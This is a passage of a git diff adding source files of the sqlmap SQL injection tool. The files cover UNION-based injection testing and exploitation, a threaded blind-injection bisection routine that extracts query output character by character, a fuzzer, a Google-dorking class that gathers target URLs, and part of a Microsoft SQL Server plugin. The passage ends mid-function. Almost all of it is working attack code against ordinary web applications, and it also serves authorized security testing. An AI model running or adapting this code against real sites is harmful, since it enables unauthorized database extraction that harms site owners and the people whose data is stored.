+ This method tests if the target url is affected by an inband
+ SQL injection vulnerability. The test is done up to 3*50 times
+ """
+
+ logMsg = "testing inband sql injection on parameter "
+ logMsg += "'%s'" % kb.injParameter
+ logger.info(logMsg)
+
+ value = ""
+
+ query = agent.prefixQuery("UNION ALL SELECT NULL")
+
+ for comment in ("--", "#", "/*", ";", "%00"):
+ value = __effectiveUnionTest(query, comment)
+
+ if value:
+ setUnion(comment, value.count("NULL"))
+
+ break
+
+ if kb.unionCount:
+ logMsg = "the target url could be affected by an "
+ logMsg += "inband sql injection vulnerability"
+ logger.info(logMsg)
+ else:
+ warnMsg = "the target url is not affected by an "
+ warnMsg += "inband sql injection vulnerability"
+ logger.warn(warnMsg)
+
+ return value
diff --git a/lib/techniques/inband/union/use.py b/lib/techniques/inband/union/use.py
new file mode 100644
index 000000000..e1c8514a7
--- /dev/null
+++ b/lib/techniques/inband/union/use.py
@@ -0,0 +1,154 @@
+#!/usr/bin/env python
+
+"""
+$Id: use.py 293 2008-07-28 21:56:52Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+
+
+import time
+
+from lib.core.agent import agent
+from lib.core.common import randomStr
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.data import paths
+from lib.core.data import temp
+from lib.core.exception import sqlmapUnsupportedDBMSException
+from lib.core.session import setUnion
+from lib.core.unescaper import unescaper
+from lib.parse.html import htmlParser
+from lib.request.connect import Connect as Request
+from lib.techniques.inband.union.test import unionTest
+
+
+def __unionPosition(count, expression):
+ logMsg = "confirming inband sql injection on parameter "
+ logMsg += "'%s'" % kb.injParameter
+ logger.info(logMsg)
+
+ # For each column of the table (# of NULL) perform a request using
+ # the UNION ALL SELECT statement to test it the target url is
+ # affected by an exploitable inband SQL injection vulnerability
+ for exprPosition in range(0, kb.unionCount):
+ # Prepare expression with delimiters
+ randQuery = randomStr()
+ randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
+ randQueryUnescaped = unescaper.unescape(randQueryProcessed)
+
+ if len(randQueryUnescaped) > len(expression):
+ blankCount = len(randQueryUnescaped) - len(expression)
+ expression = (" " * blankCount) + expression
+ elif len(randQueryUnescaped) < len(expression):
+ blankCount = len(expression) - len(randQueryUnescaped)
+ randQueryUnescaped = (" " * blankCount) + randQueryUnescaped
+
+ # Forge the inband SQL injection request
+ query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition)
+ payload = agent.payload(newValue=query)
+
+ # Perform the request
+ resultPage = Request.queryPage(payload, content=True)
+ count += 1
+
+ # We have to assure that the randQuery value is not within the
+ # HTML code of the result page because, for instance, it is there
+ # when the query is wrong and the back-end DBMS is Microsoft SQL
+ # server
+ htmlParsed = htmlParser(resultPage, paths.ERRORS_XML)
+
+ if randQuery in resultPage and not htmlParsed:
+ setUnion(position=exprPosition)
+
+ break
+
+ if isinstance(kb.unionPosition, int):
+ logMsg = "the target url is affected by an exploitable "
+ logMsg += "inband sql injection vulnerability"
+ logger.info(logMsg)
+ else:
+ warnMsg = "the target url is not affected by an exploitable "
+ warnMsg += "inband sql injection vulnerability, sqlmap will "
+ warnMsg += "retrieve the expression output through blind sql "
+ warnMsg += "injection technique"
+ logger.warn(warnMsg)
+
+ return count
+
+
+def unionUse(expression):
+ """
+ This function tests for an inband SQL injection on the target
+ url then call its subsidiary function to effectively perform an
+ inband SQL injection on the affected url
+ """
+
+ count = 0
+ origExpr = expression
+ start = time.time()
+
+ if not kb.unionCount:
+ unionTest()
+
+ if not kb.unionCount:
+ return
+
+ # Prepare expression with delimiters
+ expression = agent.concatQuery(expression)
+ expression = unescaper.unescape(expression)
+
+ # Confirm the inband SQL injection and get the exact column
+ # position only once
+ if not isinstance(kb.unionPosition, int):
+ count = __unionPosition(count, expression)
+
+ # Assure that the above function found the exploitable inband
+ # SQL injection position
+ if not isinstance(kb.unionPosition, int):
+ return
+
+ # Forge the inband SQL injection request
+ query = agent.forgeInbandQuery(expression)
+ payload = agent.payload(newValue=query)
+
+ logMsg = "query: %s" % query
+ logger.info(logMsg)
+
+ # Perform the request
+ resultPage = Request.queryPage(payload, content=True)
+ count += 1
+
+ if temp.start not in resultPage or temp.stop not in resultPage:
+ return
+
+ duration = int(time.time() - start)
+
+ logMsg = "performed %d queries in %d seconds" % (count, duration)
+ logger.info(logMsg)
+
+ # Parse the returned page to get the exact inband
+ # sql injection output
+ startPosition = resultPage.index(temp.start)
+ endPosition = resultPage.rindex(temp.stop) + len(temp.stop)
+ value = str(resultPage[startPosition:endPosition])
+
+ return value
diff --git a/lib/techniques/inference/__init__.py b/lib/techniques/inference/__init__.py
new file mode 100644
index 000000000..e8fee9d67
--- /dev/null
+++ b/lib/techniques/inference/__init__.py
@@ -0,0 +1,25 @@
+#!/usr/bin/env python
+
+"""
+$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+pass
diff --git a/lib/techniques/inference/blind.py b/lib/techniques/inference/blind.py
new file mode 100644
index 000000000..e08d8147e
--- /dev/null
+++ b/lib/techniques/inference/blind.py
@@ -0,0 +1,213 @@
+#!/usr/bin/env python
+
+"""
+$Id: blind.py 355M 2008-10-15 00:00:47Z (local) $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+
+
+import threading
+import time
+
+from lib.core.agent import agent
+from lib.core.common import dataToSessionFile
+from lib.core.common import dataToStdout
+from lib.core.common import replaceNewlineTabs
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.exception import sqlmapValueException
+from lib.core.progress import ProgressBar
+from lib.core.unescaper import unescaper
+from lib.request.connect import Connect as Request
+
+
+def bisection(payload, expression, length=None):
+ """
+ Bisection algorithm that can be used to perform blind SQL injection
+ on an affected host
+ """
+
+ if kb.dbmsDetected:
+ _, _, _, fieldToCast = agent.getFields(expression)
+ nulledCastedField = agent.nullAndCastField(fieldToCast)
+ expressionReplaced = expression.replace(fieldToCast, nulledCastedField, 1)
+ expressionUnescaped = unescaper.unescape(expressionReplaced)
+ else:
+ expressionUnescaped = unescaper.unescape(expression)
+
+ infoMsg = "query: %s" % expressionUnescaped
+ logger.info(infoMsg)
+
+ if length and not isinstance(length, int) and length.isdigit():
+ length = int(length)
+
+ if length == 0:
+ return 0, ""
+
+ showEta = conf.eta and length
+ numThreads = min(conf.threads, length)
+ threads = []
+
+ if showEta:
+ progress = ProgressBar(maxValue=length)
+ progressTime = []
+
+ if conf.verbose in ( 1, 2 ) and not showEta:
+ if isinstance(length, int) and conf.threads > 1:
+ infoMsg = "starting %d threads" % numThreads
+ logger.info(infoMsg)
+
+ dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * length))
+ dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
+ else:
+ dataToStdout("[%s] [INFO] retrieved: " % time.strftime("%X"))
+
+ queriesCount = [0] # As list to deal with nested scoping rules
+
+
+ def getChar(idx):
+ maxValue = 127
+ minValue = 0
+
+ while (maxValue - minValue) != 1:
+ queriesCount[0] += 1
+ limit = ((maxValue + minValue) / 2)
+
+ forgedPayload = payload % (expressionUnescaped, idx, limit)
+ result = Request.queryPage(forgedPayload)
+
+ if result == kb.defaultResult:
+ minValue = limit
+ else:
+ maxValue = limit
+
+ if (maxValue - minValue) == 1:
+ if maxValue == 1:
+ return None
+ else:
+ return chr(minValue + 1)
+
+
+ def etaProgressUpdate(charTime, index):
+ if len(progressTime) <= ( (length * 3) / 100 ):
+ eta = 0
+ else:
+ midTime = sum(progressTime) / len(progressTime)
+ midTimeWithLatest = (midTime + charTime) / 2
+ eta = midTimeWithLatest * (length - index) / conf.threads
+
+ progressTime.append(charTime)
+ progress.update(index)
+ progress.draw(eta)
+
+
+ if conf.threads > 1 and isinstance(length, int) and length > 1:
+ value = [None] * length
+ index = [0] # As list for python nested function scoping
+ idxlock = threading.Lock()
+ iolock = threading.Lock()
+
+
+ def downloadThread():
+ while True:
+ idxlock.acquire()
+
+ if index[0] >= length:
+ idxlock.release()
+
+ return
+
+ index[0] += 1
+ curidx = index[0]
+ idxlock.release()
+
+ charStart = time.time()
+ val = getChar(curidx)
+
+ if val == None:
+ raise sqlmapValueException, "Failed to get character at index %d (expected %d total)" % (curidx, length)
+
+ value[curidx-1] = val
+
+ if showEta:
+ etaProgressUpdate(time.time() - charStart, index[0])
+ elif conf.verbose in ( 1, 2 ):
+ s = "".join([c or "_" for c in value])
+ iolock.acquire()
+ dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), s))
+ iolock.release()
+
+ # Start the threads
+ for _ in range(numThreads):
+ thread = threading.Thread(target=downloadThread)
+ thread.start()
+ threads.append(thread)
+
+ # And wait for them to all finish
+ for thread in threads:
+ thread.join()
+
+ assert None not in value
+
+ value = "".join(value)
+
+ assert index[0] == length
+
+ if conf.sessionFile:
+ dataToSessionFile(replaceNewlineTabs(value))
+
+ if conf.verbose in ( 1, 2 ) and not showEta:
+ dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), value))
+
+ else:
+ value = ""
+ index = 0
+
+ while True:
+ index += 1
+ charStart = time.time()
+ val = getChar(index)
+
+ if val == None:
+ break
+
+ value += val
+
+ if conf.sessionFile:
+ dataToSessionFile(replaceNewlineTabs(val))
+
+ if showEta:
+ etaProgressUpdate(time.time() - charStart, index)
+ elif conf.verbose in ( 1, 2 ):
+ dataToStdout(val)
+
+ if conf.verbose in ( 1, 2 ) or showEta:
+ dataToStdout("\n")
+
+ if ( conf.verbose in ( 1, 2 ) and showEta and len(str(progress)) >= 64 ) or conf.verbose >= 3:
+ infoMsg = "retrieved: %s" % value
+ logger.info(infoMsg)
+
+ if conf.sessionFile:
+ dataToSessionFile("]\n")
+
+ return queriesCount[0], value
diff --git a/lib/utils/__init__.py b/lib/utils/__init__.py
new file mode 100644
index 000000000..e8fee9d67
--- /dev/null
+++ b/lib/utils/__init__.py
@@ -0,0 +1,25 @@
+#!/usr/bin/env python
+
+"""
+$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+pass
diff --git a/lib/utils/fuzzer.py b/lib/utils/fuzzer.py
new file mode 100644
index 000000000..16c938941
--- /dev/null
+++ b/lib/utils/fuzzer.py
@@ -0,0 +1,43 @@
+#!/usr/bin/env python
+
+"""
+$Id: fuzzer.py 247 2008-07-19 23:07:26Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+
+
+from lib.core.agent import agent
+from lib.core.data import logger
+from lib.core.data import paths
+from lib.request.connect import Connect as Request
+
+
+def passiveFuzzing():
+ logMsg = "executing passive fuzzing to retrieve DBMS error messages"
+ logger.info(logMsg)
+
+ fuzzVectors = open(paths.FUZZ_VECTORS, "r")
+
+ for fuzzVector in fuzzVectors:
+ fuzzVector = fuzzVector.replace("\r", "").replace("\n", "")
+
+ payload = agent.payload(newValue=fuzzVector)
+ Request.queryPage(payload)
diff --git a/lib/utils/google.py b/lib/utils/google.py
new file mode 100644
index 000000000..25e6dd5c7
--- /dev/null
+++ b/lib/utils/google.py
@@ -0,0 +1,122 @@
+#!/usr/bin/env python
+
+"""
+$Id: google.py 330 2008-08-28 21:25:48Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+
+
+import cookielib
+import re
+import urllib2
+
+from lib.core.convert import urlencode
+from lib.core.data import conf
+from lib.core.exception import sqlmapConnectionException
+from lib.core.exception import sqlmapRegExprException
+
+
+class Google:
+ """
+ This class defines methods used to perform Google dorking (command
+ line option '-g '
+ """
+
+ def __init__(self, proxyHandler):
+ self.__googleCookie = None
+ self.__matches = []
+ self.__cj = cookielib.LWPCookieJar()
+ self.opener = urllib2.build_opener(proxyHandler, urllib2.HTTPCookieProcessor(self.__cj))
+ self.opener.addheaders = conf.httpHeaders
+
+
+ def __parsePage(self, page):
+ """
+ Parse Google dork search results page to get the list of
+ HTTP addresses
+ """
+
+ matches = []
+
+ regExpr = "class=r\076\074a href=\042(http[s]*://.+?)\042\sclass=l"
+ matches = re.findall(regExpr, page, re.I | re.M)
+
+ return matches
+
+
+ def getTargetUrls(self):
+ """
+ This method returns the list of hosts with parameters out of
+ your Google dork search results
+ """
+
+ targetUrls = set()
+
+ for match in self.__matches:
+ if re.search("(.*?)\?(.+)", match, re.I):
+ targetUrls.add(match)
+
+ return targetUrls
+
+
+ def getCookie(self):
+ """
+ This method is the first to be called when initializing a
+ Google dorking object through this library. It is used to
+ retrieve the Google session cookie needed to perform the
+ further search
+ """
+
+ try:
+ conn = self.opener.open("http://www.google.com/ncr")
+ headers = conn.info()
+ except urllib2.HTTPError, e:
+ headers = e.info()
+ except urllib2.URLError, e:
+ errMsg = "unable to connect to Google"
+ raise sqlmapConnectionException, errMsg
+
+
+ def search(self, googleDork):
+ """
+ This method performs the effective search on Google providing
+ the google dork and the Google session cookie
+ """
+
+ if not googleDork:
+ return None
+
+ url = "http://www.google.com/search?"
+ url += "q=%s&" % urlencode(googleDork)
+ url += "num=100&hl=en&safe=off&filter=0&btnG=Search"
+
+ try:
+ conn = self.opener.open(url)
+ page = conn.read()
+ except urllib2.HTTPError, e:
+ page = e.read()
+ except urllib2.URLError, e:
+ errMsg = "unable to connect to Google"
+ raise sqlmapConnectionException, errMsg
+
+ self.__matches = self.__parsePage(page)
+
+ return self.__matches
diff --git a/lib/utils/parenthesis.py b/lib/utils/parenthesis.py
new file mode 100644
index 000000000..eae50c7a5
--- /dev/null
+++ b/lib/utils/parenthesis.py
@@ -0,0 +1,80 @@
+#!/usr/bin/env python
+
+"""
+$Id: parenthesis.py 357 2008-09-21 18:52:16Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+
+
+from lib.core.agent import agent
+from lib.core.common import randomInt
+from lib.core.common import randomStr
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.exception import sqlmapNoneDataException
+from lib.core.session import setParenthesis
+from lib.request.connect import Connect as Request
+
+
+def checkForParenthesis():
+ """
+ This method checks if the SQL injection affected parameter
+ is within the parenthesis.
+ """
+
+ if kb.parenthesis != None:
+ return kb.parenthesis
+
+ logMsg = "testing for parenthesis on injectable parameter"
+ logger.info(logMsg)
+
+ count = 0
+
+ for parenthesis in range(1, 4):
+ query = agent.prefixQuery("%s " % (")" * parenthesis))
+ query += "AND %s" % ("(" * parenthesis)
+
+ randInt = randomInt()
+ randStr = randomStr()
+
+ if kb.injType == "numeric":
+ query += "%d=%d" % (randInt, randInt)
+ elif kb.injType == "stringsingle":
+ query += "'%s'='%s" % (randStr, randStr)
+ elif kb.injType == "likesingle":
+ query += "'%s' LIKE '%s" % (randStr, randStr)
+ elif kb.injType == "stringdouble":
+ query += "\"%s\"=\"%s" % (randStr, randStr)
+ elif kb.injType == "likedouble":
+ query += "\"%s\" LIKE \"%s" % (randStr, randStr)
+ else:
+ raise sqlmapNoneDataException, "unsupported injection type"
+
+ payload = agent.payload(newValue=query)
+ result = Request.queryPage(payload)
+
+ if result == kb.defaultResult:
+ count = parenthesis
+
+ logMsg = "the injectable parameter requires %d parenthesis" % count
+ logger.info(logMsg)
+
+ setParenthesis(count)
diff --git a/lib/utils/resume.py b/lib/utils/resume.py
new file mode 100644
index 000000000..9b863c84f
--- /dev/null
+++ b/lib/utils/resume.py
@@ -0,0 +1,184 @@
+#!/usr/bin/env python
+
+"""
+$Id: resume.py 294M 2008-10-14 23:49:41Z (local) $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+
+
+import re
+
+from lib.core.common import dataToSessionFile
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.data import queries
+from lib.core.unescaper import unescaper
+from lib.techniques.inference.blind import bisection
+
+
+def queryOutputLength(expression, payload):
+ """
+ Returns the query output length.
+ """
+
+ lengthQuery = queries[kb.dbms].length
+
+ select = re.search("\ASELECT\s+", expression, re.I)
+ selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
+ selectDistinctExpr = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I)
+ selectExpr = re.search("\ASELECT\s+(.+?)\s+FROM", expression, re.I)
+ miscExpr = re.search("\A(.+)", expression, re.I)
+
+ if selectTopExpr or selectDistinctExpr or selectExpr:
+ if selectTopExpr:
+ regExpr = selectTopExpr.groups()[0]
+ elif selectDistinctExpr:
+ regExpr = selectDistinctExpr.groups()[0]
+ elif selectExpr:
+ regExpr = selectExpr.groups()[0]
+ elif miscExpr:
+ regExpr = miscExpr.groups()[0]
+
+ if ( select and re.search("\A(COUNT|LTRIM)\(", regExpr, re.I) ) or len(regExpr) <= 1:
+ return None, None, None
+
+ if select:
+ lengthExpr = expression.replace(regExpr, lengthQuery % regExpr, 1)
+ else:
+ lengthExpr = lengthQuery % expression
+
+ infoMsg = "retrieving the length of query output"
+ logger.info(infoMsg)
+
+ output = resume(lengthExpr, payload)
+
+ if output:
+ return 0, output, regExpr
+
+ dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], lengthExpr))
+
+ lengthExprUnescaped = unescaper.unescape(lengthExpr)
+ count, length = bisection(payload, lengthExprUnescaped)
+
+ if length == " ":
+ length = 0
+
+ return count, length, regExpr
+
+
+def resume(expression, payload):
+ """
+ This function can be called to resume part or entire output of a
+ SQL injection query output.
+ """
+
+ condition = (
+ kb.resumedQueries and conf.url in kb.resumedQueries.keys()
+ and expression in kb.resumedQueries[conf.url].keys()
+ )
+
+ if not condition:
+ return None
+
+ resumedValue = kb.resumedQueries[conf.url][expression]
+
+ if not resumedValue:
+ return None
+
+ if resumedValue[-1] == "]":
+ resumedValue = resumedValue[:-1]
+
+ infoMsg = "read from file '%s': " % conf.sessionFile
+ logValue = re.findall("__START__(.*?)__STOP__", resumedValue, re.S)
+
+ if logValue:
+ logValue = ", ".join([value.replace("__DEL__", ", ") for value in logValue])
+ else:
+ logValue = resumedValue
+
+ if "\n" in logValue:
+ infoMsg += "%s..." % logValue.split("\n")[0]
+ else:
+ infoMsg += logValue
+
+ logger.info(infoMsg)
+
+ return resumedValue
+
+ # If we called this function without providing a payload it means that
+ # we have called it from lib/request/inject __goInband() function
+ # in UNION SELECT (inband) SQL injection so we return to the calling
+ # function so that the query output will be retrieved taking advantage
+ # of the inband SQL injection vulnerability.
+ if not payload:
+ return None
+
+ expressionUnescaped = unescaper.unescape(expression)
+ substringQuery = queries[kb.dbms].substring
+ select = re.search("\ASELECT ", expression, re.I)
+
+ _, length, regExpr = queryOutputLength(expression, payload)
+
+ if not length:
+ return None
+
+ if len(resumedValue) == int(length):
+ infoMsg = "read from file '%s': " % conf.sessionFile
+ infoMsg += "%s" % resumedValue.split("\n")[0]
+ logger.info(infoMsg)
+
+ if conf.sessionFile:
+ dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, resumedValue))
+
+ return resumedValue
+ elif len(resumedValue) < int(length):
+ infoMsg = "resumed from file '%s': " % conf.sessionFile
+ infoMsg += "%s..." % resumedValue.split("\n")[0]
+ logger.info(infoMsg)
+
+ if conf.sessionFile:
+ dataToSessionFile("[%s][%s][%s][%s][%s" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, resumedValue))
+
+ if select:
+ newExpr = expressionUnescaped.replace(regExpr, substringQuery % (regExpr, len(resumedValue) + 1, int(length)), 1)
+ else:
+ newExpr = substringQuery % (expressionUnescaped, len(resumedValue) + 1, int(length))
+
+ missingCharsLength = int(length) - len(resumedValue)
+
+ infoMsg = "retrieving pending %d query " % missingCharsLength
+ infoMsg += "output characters"
+ logger.info(infoMsg)
+
+ _, finalValue = bisection(payload, newExpr, length=missingCharsLength)
+
+ if len(finalValue) != ( int(length) - len(resumedValue) ):
+ warnMsg = "the total length of the query is not "
+ warnMsg += "right, sqlmap is going to retrieve the "
+ warnMsg += "query value from the beginning now"
+ logger.warn(warnMsg)
+
+ return None
+
+ return "%s%s" % (resumedValue, finalValue)
+
+ return None
diff --git a/plugins/__init__.py b/plugins/__init__.py
new file mode 100644
index 000000000..e8fee9d67
--- /dev/null
+++ b/plugins/__init__.py
@@ -0,0 +1,25 @@
+#!/usr/bin/env python
+
+"""
+$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+pass
diff --git a/plugins/dbms/__init__.py b/plugins/dbms/__init__.py
new file mode 100644
index 000000000..e8fee9d67
--- /dev/null
+++ b/plugins/dbms/__init__.py
@@ -0,0 +1,25 @@
+#!/usr/bin/env python
+
+"""
+$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+pass
diff --git a/plugins/dbms/mssqlserver.py b/plugins/dbms/mssqlserver.py
new file mode 100644
index 000000000..185090d4c
--- /dev/null
+++ b/plugins/dbms/mssqlserver.py
@@ -0,0 +1,271 @@
+#!/usr/bin/env python
+
+"""
+$Id: mssqlserver.py 286 2008-07-25 23:09:48Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+
+
+import time
+
+from lib.core.agent import agent
+from lib.core.common import dataToStdout
+from lib.core.common import formatFingerprint
+from lib.core.common import getHtmlErrorFp
+from lib.core.common import randomInt
+from lib.core.common import readInput
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.data import paths
+from lib.core.data import queries
+from lib.core.exception import sqlmapNoneDataException
+from lib.core.exception import sqlmapSyntaxException
+from lib.core.session import setDbms
+from lib.core.settings import MSSQL_ALIASES
+from lib.core.unescaper import unescaper
+from lib.parse.banner import bannerParser
+from lib.request import inject
+from lib.request.connect import Connect as Request
+#from lib.utils.fuzzer import passiveFuzzing
+
+from plugins.generic.enumeration import Enumeration
+from plugins.generic.filesystem import Filesystem
+from plugins.generic.fingerprint import Fingerprint
+from plugins.generic.takeover import Takeover
+
+
+class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
+ """
+ This class defines Microsoft SQL Server methods
+ """
+
+ def __init__(self):
+ Enumeration.__init__(self, "Microsoft SQL Server")
+
+ unescaper.setUnescape(MSSQLServerMap.unescape)
+
+
+ @staticmethod
+ def unescape(expression):
+ while True:
+ index = expression.find("'")
+ if index == -1:
+ break
+
+ firstIndex = index + 1
+ index = expression[firstIndex:].find("'")
+
+ if index == -1:
+ raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
+
+ lastIndex = firstIndex + index
+ old = "'%s'" % expression[firstIndex:lastIndex]
+ #unescaped = ""
+ unescaped = "("
+
+ for i in range(firstIndex, lastIndex):
+ unescaped += "CHAR(%d)" % (ord(expression[i]))
+ if i < lastIndex - 1:
+ unescaped += "+"
+
+ unescaped += ")"
+ expression = expression.replace(old, unescaped)
+
+ return expression
+
+
+ @staticmethod
+ def escape(expression):
+ while True:
+ index = expression.find("CHAR(")
+ if index == -1:
+ break
+
+ firstIndex = index
+ index = expression[firstIndex:].find("))")
+
+ if index == -1:
